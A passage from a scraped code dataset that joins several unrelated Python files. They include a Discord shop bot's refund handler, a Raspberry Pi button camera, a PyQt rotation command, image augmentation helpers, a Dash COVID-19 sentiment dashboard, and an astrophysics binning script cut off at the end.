printOrder(\"Request Refund\", \"Order Code: \" + orderCode,\n \"React to confirm refund request\", orderCheck, servInf)\n message = await ctx.send(embed=embedVar)\n await message.add_reaction('✅')\n\n def check(reaction, user):\n return user == ctx.author and str(reaction.emoji) == '✅'\n\n try:\n reaction, user = await bot.wait_for('reaction_add', timeout=60.0, check=check)\n except asyncio.TimeoutError:\n await ctx.author.send(\"Timed out\")\n else:\n orders.find_one_and_update({\"_id\": orderCode, \"userID\": ctx.author.id ,\"searchCode\": servInf[\"searchCode\"]},\n {\"$set\": {\"refundRequest\": True}})\n cancelTime = str(datetime.utcnow())\n embedVar1 = discord.Embed(title=\"Refund Request sent\", description=\"Order Code: \" + orderCode,\n color=0xffcccc)\n embedVar1.set_footer(text=cancelTime)\n await ctx.send(embed=embedVar1)\n\n embedVar.title = \"Refund Request\"\n embedVar.description = \"Order `\" + orderCode + \"` requested for refund.\"\n embedVar.set_footer(text=cancelTime)\n embedVar.add_field(name=\"Details\",\n value=\"User: \" + user.name + \"#\" + user.discriminator, inline=False)\n owner = bot.get_user(bot.get_guild(servInf[\"_id\"]).owner_id)\n await owner.send(embed=embedVar)\n\n \nbot.run(os.environ['TOKEN'])\n","repo_name":"dan-v4/MeowShop","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":44636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6076982170","text":"\nimport RPi.GPIO as GPIO\nfrom picamera import PiCamera\nfrom time import sleep\nimport time\nimport datetime\n\nPIN = 5\n\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(PIN, GPIO.IN)\ncamera = PiCamera()\n\n#camera.start_preview()\n#sleep(20)\n#camera.stop_preview()\n\n\nwhile True:\n #print(\"waiting...\")\n if (GPIO.input(PIN)):\n print(\"Taking a picture...\")\n camera.start_preview()\n \n sleep(2)\n \n ts = time.time()\n tstr = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H-%M-%S')\n fname = \"/home/pi/figs/image_%s.jpg\" % (tstr)\n \n camera.capture(fname)\n camera.stop_preview()\n","repo_name":"jutako/raspi","sub_path":"camera/button_camera.py","file_name":"button_camera.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34202484127","text":"from PyQt5.QtWidgets import QWidget, QMainWindow\n\nfrom ..command import Command\nfrom .interpolation import bilinear_interpolation, nearest_neighbor_interpolation\nfrom pycture.dialogs import RotateDialog, RotateSimpleDialog\nfrom pycture.editor import Editor\n\n\nclass RotateSimple(Command):\n def __init__(self, parent: QWidget):\n super().__init__(parent, \"Rotate and paint\")\n \n def apply_rotation(self, editor_title, angle):\n editor = self.main_window.editors.get(editor_title)\n image = editor.get_image()\n title = editor.windowTitle()\n \n rotated_image = image.rotate_simple(angle)\n \n str_angle = str(angle).replace(\".\", \"'\")\n self.main_window.add_editor(editor=Editor(\n self.main_window, rotated_image, title + f' rotated {str_angle}º'))\n\n def execute(self, main_window: QMainWindow):\n # Open dialog\n # Connect dialog button to rotate function\n self.main_window = main_window\n dialog = RotateSimpleDialog(main_window, main_window.get_editor_list())\n dialog.set_editor(main_window.get_active_editor_name())\n\n dialog.applied.connect(self.apply_rotation)\n","repo_name":"miguel-martinr/Pycture","sub_path":"src/pycture/commands/edit_commands/rotate_simple.py","file_name":"rotate_simple.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22417058822","text":"#Multi Threding using acquire and release\n\nimport threading,time\nclass Mythread(threading.Thread):\n def __init__(self,name):\n super().__init__()\n self.name=name\n\n def run(self):\n lock.acquire()\n for i in range(5):\n print(\"Hello\",self.name)\n time.sleep(0.02)\n lock.release()\n\nlock=threading.Lock()\nt1=Mythread(\"Manjit\")\nt2=Mythread(\"Lulu\")\n\nt1.start()\nt2.start()\n","repo_name":"Manjitkumarsahoo/python","sub_path":"101.py","file_name":"101.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20015967594","text":"# -*- coding:utf-8 -*-\n\nimport logging\n\n# log_file = './test.log'\n# log_level = 'DEBUG'\n# log_format = '[%(asctime)s: %(levelname)s/%(module)s] %(message)s'\n# print (\"time : %(localtime)s, %(localzone)s\", localtime=localtime, localzone=localzone)\n#logging.basicConfig(stream=open(log_file, 'a'), level=log_level,\n# format=log_format)\nimport logging.handlers\n\n# 로거 인스턴스를 만든다\nlogger = logging.getLogger('mylogger')\n\n#logger.setLevel(logging.DEBUG)\n\n# 포매터를 만든다\nfomatter = logging.Formatter('[%(asctime)s: %(levelname)s/%(module)s] %(message)s')\n\n# 스트림과 파일로 로그를 출력하는 핸들러를 각각 만든다.\nfileHandler = logging.FileHandler('./dolbam.log')\n\n# 각 핸들러에 포매터를 지정한다.\nfileHandler.setFormatter(fomatter)\n\n# 로거 인스턴스에 스트림 핸들러 혹은 파일핸들러를 붙인다.\nlogger.addHandler(fileHandler)\nlogger.setLevel('DEBUG')\n\n\nlogging.info(\"=========================================\")\nlogging.info(\"파일에다가 남겨봐요~\")\nlogging.info(\"=========================================\")\nlogging.debug(\"디버깅을 위한 메시지 로그\")\nlogging.info(\"정보를 제공하기 위한 메시지 로그\")\nlogging.warning(\"주의해야할 사항들\")\nlogging.error(\"에러 발생!\")\nlogging.critical(\"심각한 에러!!\")\n\n","repo_name":"JohnHaan/cloudtechpython","sub_path":"20170320/dolbam.py","file_name":"dolbam.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7854041810","text":"\nfrom albumentations import Compose, RandomCrop, Normalize, HorizontalFlip, Resize\nfrom albumentations.pytorch import ToTensor\n\n\n\n\ndef select_aug(atype, param, p=1):\n from albumentations import JpegCompression, Blur, Downscale, CLAHE, HueSaturationValue, \\\n RandomBrightnessContrast, IAAAdditiveGaussianNoise, GaussNoise, GaussianBlur, MedianBlur, MotionBlur\n\n if atype == 'JpegCompression':\n trans_aug = JpegCompression(quality_lower=param, quality_upper=param, p=p) # strong_aug_pixel()\n elif atype == 'Blur':\n trans_aug = Blur(blur_limit=param, p=p)\n elif atype == 'Downscale':\n trans_aug = Downscale(scale_min=param, scale_max=param, p=p)\n elif atype == 'CLAHE':\n trans_aug = CLAHE(clip_limit=param, p=p)\n elif atype == 'HueSaturationValue':\n trans_aug = HueSaturationValue(hue_shift_limit=param, sat_shift_limit=param, val_shift_limit=param, p=p)\n elif atype == 'RandomBrightnessContrast':\n trans_aug = RandomBrightnessContrast(brightness_limit=param, contrast_limit=param, p=p)\n elif atype == 'IAAAdditiveGaussianNoise':\n trans_aug = IAAAdditiveGaussianNoise(loc=param, p=p)\n elif atype == 'GaussNoise':\n trans_aug = GaussNoise(mean=param, p=p)\n elif atype == 'GaussianBlur':\n trans_aug = GaussianBlur(blur_limit=param, p=p)\n elif atype == 'MedianBlur':\n trans_aug = MedianBlur(blur_limit=param, p=p)\n elif atype == 'MotionBlur':\n trans_aug = MotionBlur(blur_limit=param, p=p)\n else:\n raise NotImplementedError(atype)\n \n aug = trans_aug\n \n return aug\n\n\ndef pixel_aug(p=.5):\n print('[DATA]: pixel aug')\n\n from albumentations import JpegCompression, Blur, Downscale, CLAHE, HueSaturationValue, \\\n RandomBrightnessContrast, IAAAdditiveGaussianNoise, GaussNoise, GaussianBlur, MedianBlur, MotionBlur, \\\n Compose, OneOf\n from random import sample, randint, uniform\n\n return Compose([\n # Jpeg Compression\n OneOf([\n JpegCompression(quality_lower=20, quality_upper=99, p=1)\n ], p=0.2),\n # Gaussian Noise\n OneOf([\n IAAAdditiveGaussianNoise(loc=randint(1, 9), p=1),\n GaussNoise(mean=uniform(0, 10.0), p=1),\n ], p=0.3),\n # Blur\n OneOf([\n GaussianBlur(blur_limit=15, p=1),\n MotionBlur(blur_limit=19, p=1),\n Downscale(scale_min=0.3, scale_max=0.99, p=1),\n Blur(blur_limit=15, p=1),\n MedianBlur(blur_limit=9, p=1)\n ], p=0.4),\n # Color\n OneOf([\n CLAHE(clip_limit=4.0, p=1),\n HueSaturationValue(p=1),\n RandomBrightnessContrast(p=1),\n ], p=0.1)\n ], p=p)\n\n\ndef strong_aug_pixel(p=.5):\n print('[DATA]: strong aug pixel')\n\n from albumentations import (\n # HorizontalFlip, IAAPerspective, ShiftScaleRotate, CLAHE, RandomRotate90,\n Transpose, ShiftScaleRotate, Blur, OpticalDistortion, GridDistortion, HueSaturationValue, MultiplicativeNoise,\n IAAAdditiveGaussianNoise, GaussNoise, MotionBlur, MedianBlur, RandomBrightnessContrast, IAAPiecewiseAffine,\n IAASharpen, IAAEmboss, Flip, OneOf, Compose, JpegCompression, CLAHE)\n\n return Compose([\n # RandomRotate90(),\n # Flip(),\n # Transpose(),\n OneOf([\n MultiplicativeNoise(multiplier=[0.5, 1.5], per_channel=True),\n JpegCompression(quality_lower=39, quality_upper=80)\n ], p=0.2),\n OneOf([\n IAAAdditiveGaussianNoise(),\n GaussNoise(),\n ], p=0.2),\n OneOf([\n MotionBlur(p=.2),\n MedianBlur(blur_limit=3, p=0.1),\n Blur(blur_limit=3, p=0.1),\n ], p=0.2),\n # ShiftScaleRotate(shift_limit=0.0625, scale_limit=0.2, rotate_limit=45, p=0.2),\n # OneOf([\n # OpticalDistortion(p=0.3),\n # GridDistortion(p=.1),\n # IAAPiecewiseAffine(p=0.3),\n # ], p=0.2),\n OneOf([\n CLAHE(clip_limit=2),\n IAASharpen(),\n IAAEmboss(),\n RandomBrightnessContrast(), \n ], p=0.3),\n HueSaturationValue(p=0.3),\n ], p=p)\n\n\ndef data_transform(size=256, normalize=True):\n if normalize:\n t = Compose([\n Resize(size, size),\n Normalize(\n mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225],\n ),\n ToTensor()\n ])\n else:\n t = Compose([\n Resize(size, size),\n ToTensor()\n ])\n return t","repo_name":"jerry4h/Face_Xray","sub_path":"Net_gpuVer5.0/aug.py","file_name":"aug.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"} +{"seq_id":"73557195891","text":"import torch\r\nimport torchvision.transforms as transforms\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef flip(x, dim):\r\n indices = [slice(None)] * x.dim()\r\n indices[dim] = torch.arange(x.size(dim) - 1, -1, -1, dtype=torch.long, device=x.device)\r\n return x[tuple(indices)]\r\n\r\nclass ImageGenerator():\r\n def __init__(self, imgs, label): # input tensor\r\n self.imgs = imgs\r\n self.label = label\r\n self.augs = []\r\n self.augs_label = []\r\n \r\n def _imshow(self, index):\r\n npimg = self.imgs.numpy()[index] # size(1,48,48)\r\n npimg = npimg[0] # size(48,48)\r\n plt.imshow(npimg) \r\n \r\n def _normalize(self,method='ZoomOut',mean_or_max='None',std_or_min='None',trans=False):\r\n if trans is False:\r\n if method == 'Rescaling':\r\n mean_or_max = torch.max(self.imgs, dim = 0) # (Number of Images, RGB, height, width)\r\n std_or_min = torch.min(self.imgs, dim = 0) \r\n elif method == 'Standardization':\r\n mean_or_max = torch.mean(self.imgs, dim = 0)\r\n std_or_min = torch.std(self.imgs, dim = 0) \r\n if method == 'Rescaling':\r\n self.imgs = (self.imgs - std_or_min) / (mean_or_max - std_or_min)\r\n elif method == 'Standardization':\r\n self.imgs = (self.imgs - mean_or_max) / std_or_min\r\n elif method == 'ZoomOut':\r\n self.imgs /= 255.0\r\n return\r\n if trans is False:\r\n return mean_or_max, std_or_min\r\n\r\n def _horizontal_flip(self):\r\n for i in range(len(self.imgs)):\r\n if np.random.rand() < 0.5:\r\n self.augs += list(flip(self.imgs[i], 2))\r\n self.augs_label += [self.label[i]]\r\n \r\n def _vertical_flip(self):\r\n for i in range(len(self.imgs)):\r\n if np.random.rand() < 0.5:\r\n self.augs += list(flip(self.imgs[i], 0))\r\n self.augs_label += [self.label[i]] \r\n\r\n def _rotate_flip(self):\r\n for i in range(len(self.imgs)):\r\n if np.random.rand() < 0.5:\r\n self.augs += list(flip(self.imgs[i], 1))\r\n self.augs_label += [self.label[i]]\r\n for i in range(len(self.imgs)):\r\n if np.random.rand() < 0.5:\r\n self.augs += list(flip(flip(self.imgs[i], 1), 2))\r\n self.augs_label += [self.label[i]]\r\n \r\n def _rand_earsing(self):\r\n for i in range(len(self.imgs)):\r\n if np.random.rand() < 0.5: \r\n self.augs += list(transforms.RandomErasing(p=1)(self.imgs[i]))\r\n self.augs_label += [self.label[i]]\r\n \r\n def _make_augment_images(self):\r\n img_aug = torch.FloatTensor(len(self.augs), 1, len(self.augs[0]), len(self.augs[1]))\r\n label_aug = torch.LongTensor(np.array(self.augs_label))\r\n for i in range(len(self.augs)):\r\n img_aug[i] = self.augs[i]\r\n self.imgs = torch.cat((self.imgs, img_aug)) \r\n self.label = torch.cat((self.label, label_aug))\r\n ","repo_name":"willyouyang/MachineLearningForPython","sub_path":"ML2019FALL/hw3-CNN/DataAugmenters.py","file_name":"DataAugmenters.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39124891092","text":"import pandas as pd\r\nimport numpy as np\r\nimport plotly\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\n\r\nimport dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output\r\nimport dash_bootstrap_components as dbc\r\n\r\nimport GetOldTweets3 as got\r\n\r\nfrom statsmodels.tsa.arima_model import ARIMA\r\nfrom textblob import TextBlob\r\nfrom datetime import datetime as dt, timedelta\r\nimport time as ti\r\nimport nltk\r\nimport re\r\nfrom nltk.stem import WordNetLemmatizer\r\nfrom nltk.corpus import stopwords\r\n\r\nstop_words = set(stopwords.words('english')) # Set of stopwords (Words that doesn't give meaningful information)\r\n\r\nlemmatizer = WordNetLemmatizer() # Used for converting words with similar meaning to a single word.\r\n\r\ndef text_process(tweet):\r\n\r\n processed_tweet = [] # To store processed text\r\n\r\n tweet = tweet.lower() # Convert to lower case\r\n\r\n tweet = re.sub(r'((www\\.[\\S]+)|(https?://[\\S]+))', 'URL', tweet) # Replaces any URLs with the word URL\r\n\r\n tweet = re.sub(r'@[\\S]+', 'USER_MENTION', tweet) # Replace @handle with the word USER_MENTION\r\n\r\n tweet = re.sub(r'#(\\S+)', r' \\1 ', tweet) # Removes # from hashtag\r\n\r\n tweet = re.sub(r'\\brt\\b', '', tweet) # Remove RT (retweet)\r\n\r\n tweet = re.sub(r'\\.{2,}', ' ', tweet) # Replace 2+ dots with space\r\n\r\n tweet = tweet.strip(' \"\\'') # Strip space, \" and ' from tweet\r\n\r\n tweet = re.sub(r'\\s+', ' ', tweet) # Replace multiple spaces with a single space\r\n\r\n words = tweet.split()\r\n\r\n for word in words:\r\n\r\n word = word.strip('\\'\"?!,.():;') # Remove Punctuations\r\n\r\n word = re.sub(r'(.)\\1+', r'\\1\\1', word) # Convert more than 2 letter repetitions to 2 letter (happppy -> happy)\r\n\r\n word = re.sub(r'(-|\\')', '', word) # Remove - & '\r\n\r\n if (re.search(r'^[a-zA-Z][a-z0-9A-Z\\._]*$', word) is not None): # Check if the word starts with an english letter\r\n\r\n if(word not in stop_words): # Check if the word is a stopword.\r\n\r\n word = str(lemmatizer.lemmatize(word)) # Lemmatize the word\r\n\r\n processed_tweet.append(word)\r\n\r\n return ' '.join(processed_tweet)\r\n\r\nexternal_stylesheets = [dbc.themes.BOOTSTRAP]\r\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\r\napp.title = 'Covid19 Sentiment Analysis'\r\nserver = app.server\r\n\r\ndate_range = {1:['2020-03-25','2020-04-14'],\r\n 2:['2020-04-15','2020-05-03'],\r\n 3:['2020-05-04','2020-05-17'],\r\n 4:['2020-05-18','2020-05-31'],\r\n 5:['2020-06-01','2020-06-14']}\r\n\r\nphase_range = {1:'LD1',2:'LD2',3:'LD3',4:'LD4',5:'Unlock1'}\r\n\r\nimage_range = {0:'General cloud.png',\r\n 1:'Lockdown1 cloud.png',\r\n 2:'Lockdown2 cloud.png',\r\n 3:'Lockdown3 cloud.png',\r\n 4:'Lockdown4 cloud.png',\r\n 5:'Unlock1 cloud.png'}\r\n\r\nimage_location = '/assets/'\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------------------------\r\n#Import and clean data (importing csv into pandas)\r\ndf = pd.read_csv(\"Hashtag Data.csv\")\r\ndf2 = pd.read_csv(\"Sentiment.csv\")\r\ndf2['Date'] = pd.to_datetime(df2['Date'])\r\ndf3 = pd.read_csv(\"Tone Data.csv\")\r\ndf4 = pd.read_csv(\"Graph Prediction.csv\")\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------------------------\r\n# App layout\r\napp.layout = html.Div([\r\n\r\n html.Div(\r\n dbc.Row(dbc.Col(html.H1(\"Covid-19 Sentiment Analysis\",className = \"jumbotron\")),style={'padding-left':'25px'}),\r\n style={'padding-bottom':'20px'}),\r\n\r\n\r\n dbc.Row(dbc.Col(html.Div(\r\n dcc.Slider(id=\"slct_period\",\r\n min=0,\r\n max=5,\r\n marks={\r\n 0:{'label': 'General', 'style': {'color': '#FFFFFF','font-size':'22px','padding-left':'15px'}},\r\n 1:{'label': 'LD1', 'style': {'color': '#FFFFFF','font-size':'22px'}},\r\n 2:{'label': 'LD2', 'style': {'color': '#FFFFFF','font-size':'22px'}},\r\n 3:{'label': 'LD3', 'style': {'color': '#FFFFFF','font-size':'22px'}},\r\n 4:{'label': 'LD4', 'style': {'color': '#FFFFFF','font-size':'22px'}},\r\n 5:{'label': 'Unlock1', 'style': {'color': '#FFFFFF','font-size':'22px','padding-right':'20px'}}\r\n },\r\n value=0\r\n ),style={'margin-left':'15px','margin-right':'-5px'}))),\r\n\r\n dbc.Row(dbc.Col(html.Div(\r\n dcc.Graph(id = 'sentiment_analysis'),style={'padding-top':'20px','padding-bottom':'40px','padding-left':'30px'}))),\r\n\r\n dbc.Row(dbc.Col(dcc.Graph(id = 'sentiment_analysis1')),style={'padding-bottom':'40px','padding-left':'30px'}),\r\n\r\n dbc.Row(\r\n children = [\r\n dbc.Col(\r\n dcc.Graph(id = 'sentiment_analysis3'),width=6,style={'padding-left':'45px'}),\r\n\r\n dbc.Col(html.Div(html.Img(id = 'word_cloud',style={'height':'450px','width':'730px'})),width=6)]),\r\n\r\n dbc.Row(dbc.Col(html.Div(dcc.Graph(id='sentiment_graph'),style={'padding-top':'40px','padding-bottom':'30px','padding-left':'30px'}))),\r\n\r\n html.Div(\"Sentiment prediction end date: \",style={'width': '50%', 'display': 'inline-block', 'font-size':'25px', 'text-align': 'right','padding-right':'10px'}),\r\n\r\n html.Div(\r\n dcc.DatePickerSingle(\r\n id='sentiment_date',\r\n min_date_allowed=dt(2020, 6, 2),\r\n max_date_allowed=dt(2020, 9, 1),\r\n initial_visible_month=dt(2020,6,1),\r\n date='2020-6-2'),\r\n style={'margin-left':'-5px','width': '40%', 'display': 'inline-block'}),\r\n\r\n html.Div(\"Find the sentiment of text: \",style={'width': '50%', 'display': 'inline-block', 'font-size':'25px', 'text-align': 'right', 'margin-bottom':'25px', 'margin-top':'100px', 'font-family': 'Helvetica'}),\r\n\r\n html.Div(\r\n dcc.Input(\r\n id=\"sentiment_text\",\r\n type = 'text',\r\n size=\"25\",\r\n value='',\r\n placeholder=\"Input the text\",\r\n style = {\"height\":\"30px\"}),\r\n className='input',\r\n style={'width': '45%', 'display': 'inline-block', 'text-align': 'left','padding-left':'5px'}),\r\n\r\n html.Div(\"Sentiment: \",style={'text-align': 'center','padding':'15px','font-size':'25px','font-family':'Helvetica','padding-right':'135px'}),\r\n html.Div(id=\"sentiment_prediction\")\r\n ],style={'background': '#84CEEB','z-index':'0px','height':'360vh'}\r\n)\r\n\r\n\r\n\r\n# ------------------------------------------------------------------------------\r\n# Connect the Plotly graphs with Dash Components\r\n\r\n\r\n@app.callback(\r\n Output('sentiment_analysis', 'figure'),\r\n [Input('slct_period', 'value')]\r\n)\r\n\r\ndef update_graph(slct_period):\r\n if slct_period == 0:\r\n df_plot = df2.copy()\r\n else:\r\n start,end=map(str,date_range[slct_period])\r\n df_plot = df2[(df2['Date'] >= start) & (df2['Date'] <= end)]\r\n\r\n df_plot = df_plot.pivot_table('Value',['Date'],'Sentiment')\r\n df_plot.reset_index(drop=False, inplace=True)\r\n\r\n start = min(df_plot['Date'])-timedelta(hours=12)\r\n end = max(df_plot['Date'])+timedelta(hours=12)\r\n\r\n fig = go.Figure()\r\n\r\n fig.add_scatter(x=df_plot['Date'],y=df_plot['Positive'],mode='lines+markers',marker_color = '#03ac13',name=\"Positve\",hoverinfo=\"x+y\")\r\n fig.add_scatter(x=df_plot['Date'],y=df_plot['Neutral'],mode='lines+markers',marker_color = '#4169e1',name=\"Neutral\",hoverinfo=\"x+y\")\r\n fig.add_scatter(x=df_plot['Date'],y=df_plot['Negative'],mode='lines+markers',marker_color = '#e3242b',name=\"Negative\",hoverinfo=\"x+y\")\r\n\r\n fig.update_layout(title={'text': \"Sentiment of People\",'y':0.95,'x':0.48,'xanchor': 'center','yanchor': 'top'}, paper_bgcolor='#97CAEF', plot_bgcolor='#97CAEF',margin_pad=15)\r\n fig.update_xaxes(showgrid=False,title=dict(text=\"Date\"),range=[start,end])\r\n fig.update_yaxes(showgrid=False,title=dict(text=\"Percentage\"))\r\n #fig.update_xaxes(showline=True, linewidth=2, linecolor='black')\r\n #fig.update_yaxes(showline=True, linewidth=2, linecolor='black')\r\n\r\n return fig\r\n# ------------------------------------------------------------------------------\r\n\r\n@app.callback(\r\n Output('sentiment_analysis1', 'figure'),\r\n [Input('slct_period', 'value')]\r\n)\r\n\r\ndef update_graph(slct_period):\r\n if slct_period == 0:\r\n df_plot = df.copy().groupby('hashtag').sum().reset_index().sort_values(by='value',ascending=False)\r\n else:\r\n df_plot = df[df['Phase']==phase_range[slct_period]]\r\n\r\n fig = px.bar(df_plot,x='hashtag',y='value',color='value',labels={'hashtag':'Hashtags','value':\"Values\"},height=500)\r\n fig.update_layout(title={'text': \"Trending Hashtags\",'y':0.95,'x':0.47,'xanchor': 'center','yanchor': 'top'}, paper_bgcolor='#97CAEF', plot_bgcolor='#97CAEF')\r\n fig.update_xaxes(showgrid=False, zeroline=False)\r\n fig.update_yaxes(showgrid=False, zeroline=False)\r\n\r\n return fig\r\n# ------------------------------------------------------------------------------\r\n\r\n@app.callback(\r\n Output('sentiment_analysis3', 'figure'),\r\n [Input('slct_period', 'value')]\r\n)\r\n\r\ndef update_graph(slct_period):\r\n if slct_period == 0:\r\n df_plot = df3.copy().groupby('Tone').sum().reset_index().sort_values(by='Value',ascending=False)\r\n else:\r\n start,end=map(str,date_range[slct_period])\r\n df_plot = df3[df3['Phase']==phase_range[slct_period]]\r\n fig = px.pie(df_plot,names=\"Tone\",values=\"Value\")\r\n fig.update_layout(paper_bgcolor='#97CAEF', plot_bgcolor='#97CAEF')\r\n\r\n if slct_period == 0:\r\n fig.update_layout(title={'text': \"Tone of 2500 Sample tweets\",'y':0.95,'x':0.48,'xanchor': 'center','yanchor': 'top'})\r\n else:\r\n fig.update_layout(title={'text': \"Tone of 500 Sample tweets\",'y':0.95,'x':0.475,'xanchor': 'center','yanchor': 'top'})\r\n\r\n return fig\r\n# ------------------------------------------------------------------------------\r\n\r\n@app.callback(\r\n Output('word_cloud', 'src'),\r\n [Input('slct_period', 'value')]\r\n)\r\n\r\ndef update_image(slct_period):\r\n return image_location+image_range[slct_period]\r\n\r\n@app.callback(\r\n Output('sentiment_graph', 'figure'),\r\n [Input('sentiment_date', 'date')])\r\n\r\ndef update_output(date):\r\n\r\n start = dt(2020,6,1)\r\n end = date\r\n year, month, day = map(int, end.split('-'))\r\n end = dt(year, month, day)\r\n\r\n result = df4\r\n train = result.iloc[:68]\r\n test = result.iloc[68:]\r\n model = ARIMA(train.Positive, order=(1,1,1))\r\n model_fit = model.fit(disp=-1)\r\n\r\n delta = end - start\r\n test_dates = []\r\n for i in range(delta.days + 1):\r\n test_dates.append(pd.to_datetime(str(start + timedelta(days=i)).split()[0]))\r\n\r\n forecast = model_fit.forecast(steps=delta.days+1)\r\n\r\n predicted_data = pd.DataFrame(forecast[0],index=test_dates,columns=['Positive'])\r\n\r\n #Neutral\r\n model = ARIMA(train.Neutral, order=(1,1,1))\r\n model_fit = model.fit(disp=-1)\r\n forecast = model_fit.forecast(steps=delta.days+1)\r\n predicted_data['Neutral'] = forecast[0]\r\n\r\n #Negative\r\n model = ARIMA(train.Negative, order=(1,1,1))\r\n model_fit = model.fit(disp=-1)\r\n forecast = model_fit.forecast(steps=delta.days+1)\r\n predicted_data['Negative'] = forecast[0]\r\n\r\n #Plot the data\r\n if(end < dt(2020,6,4)):\r\n start = min(test_dates)-timedelta(minutes = 30)\r\n end = max(test_dates)+timedelta(minutes = 30)\r\n elif(end < dt(2020,6,8)):\r\n start = min(test_dates)-timedelta(minutes = 90)\r\n end = max(test_dates)+timedelta(minutes = 90)\r\n elif(end < dt(2020,6,12)):\r\n start = min(test_dates)-timedelta(hours = 3)\r\n end = max(test_dates)+timedelta(hours = 3)\r\n elif(end < dt(2020,6,16)):\r\n start = min(test_dates)-timedelta(hours = 6)\r\n end = max(test_dates)+timedelta(hours = 6)\r\n else:\r\n start = min(test_dates)-timedelta(hours = 12)\r\n end = max(test_dates)+timedelta(hours = 12)\r\n\r\n fig = go.Figure()\r\n\r\n fig.add_scatter(x=test_dates, y=predicted_data['Positive'],mode='lines+markers',marker_color = '#03ac13',name=\"Positve\",hoverinfo=\"x+y\")\r\n fig.add_scatter(x=test_dates, y=predicted_data['Neutral'],mode='lines+markers',marker_color = '#4169e1',name=\"Neutral\",hoverinfo=\"x+y\")\r\n fig.add_scatter(x=test_dates, y=predicted_data['Negative'],mode='lines+markers',marker_color = '#e3242b',name=\"Negative\",hoverinfo=\"x+y\")\r\n\r\n fig.update_layout(title={'text': \"Predicted Sentiment Graph\",'y':0.95,'x':0.48,'xanchor': 'center','yanchor': 'top'}, paper_bgcolor='#97CAEF', plot_bgcolor='#97CAEF',margin_pad=15)\r\n fig.update_xaxes(showgrid=False,title=dict(text=\"Date\"),range=[start,end])\r\n fig.update_yaxes(showgrid=False,title=dict(text=\"Percentage\"))\r\n\r\n #fig.update_xaxes(showline=True, linewidth=2, linecolor='black')\r\n #fig.update_yaxes(showline=True, linewidth=2, linecolor='black')\r\n\r\n return fig\r\n# ------------------------------------------------------------------------------\r\n\r\n@app.callback([\r\n Output('sentiment_prediction', 'children'),\r\n Output('sentiment_prediction','style')],\r\n [Input('sentiment_text', 'value')]\r\n)\r\n\r\ndef update_output_div(input_text):\r\n\r\n predict = TextBlob(input_text).sentiment.polarity\r\n\r\n if(predict>0):\r\n result='Positive'\r\n style={'text-align':'center', 'margin-top':'-52px', 'margin-left':'90px', 'font-size':'25px', 'font-family':'Geneva', 'color': 'green'}\r\n\r\n elif(predict<0):\r\n result='Negative'\r\n style={'text-align':'center', 'margin-top':'-52px', 'margin-left':'100px', 'font-size':'25px', 'font-family':'Geneva', 'color':'red'}\r\n\r\n else:\r\n result='Neutral'\r\n style = {'text-align':'center', 'margin-top':'-52px', 'margin-left':'85px', 'font-size':'25px', 'font-family':'Geneva', 'color':'black'}\r\n\r\n return result,style\r\n\r\n# ------------------------------------------------------------------------------\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)\r\n","repo_name":"RahulR19/Covid19-Public-Sentiment-Insights","sub_path":"Dash App/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":14082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74774922931","text":"#!/usr/local/bin/python3\n\nimport numpy as np\nimport pandas as pd\nfrom astropy.modeling import models,fitting\nimport healpy as hp\n\nimport warnings\nwarnings.filterwarnings(\"error\")\nerrorlist = []\n\nNorm = 10000\nnside = 64\nnpixs = hp.nside2npix(nside)\n\nv = models.Voigt1D()\nfit = fitting.LevMarLSQFitter()\n\ndfDark1 = pd.read_csv('IDark.csv')\n\n# Step 1: Construct A Grid\npart = 'I'\nsize = 0.1\nrad = 45 # 45 for I, 300 for II, 600 for III\nnumber = int(2*rad/size)\n# Divide the whole space into different boxes\nxbin = np.linspace(-rad, rad, number + 1)\nybin = np.linspace(-rad, rad, number + 1)\nzbin = np.linspace(-rad, rad, number + 1)\n# Put each particle into different bin\ndfDark1['xbin'] = np.searchsorted(xbin, dfDark1['x'])\ndfDark1['ybin'] = np.searchsorted(ybin, dfDark1['y'])\ndfDark1['zbin'] = np.searchsorted(zbin, dfDark1['z'])\n\n#Step 2: Use bin coordinate for LSR frame, so we could have velocity information for each bin\ndfDark1['x'] = np.round(-rad + size*(dfDark1['xbin'] - 1) + size/2, decimals = 2) + 8.2\ndfDark1['y'] = np.round(-rad + size*(dfDark1['ybin'] - 1) + size/2, decimals = 2)\ndfDark1['z'] = np.round(-rad + size*(dfDark1['zbin'] - 1) + size/2, decimals = 2)\ndfDark1['vx'] = dfDark1['vx'] - 20.380102\ndfDark1['vy'] = dfDark1['vy'] - 224.709198\ndfDark1['vz'] = dfDark1['vz'] - 3.895417\n\ndfDark1['r'] = np.sqrt(dfDark1['x']**2+dfDark1['y']**2+dfDark1['z']**2)\ndfDark1['vr'] = 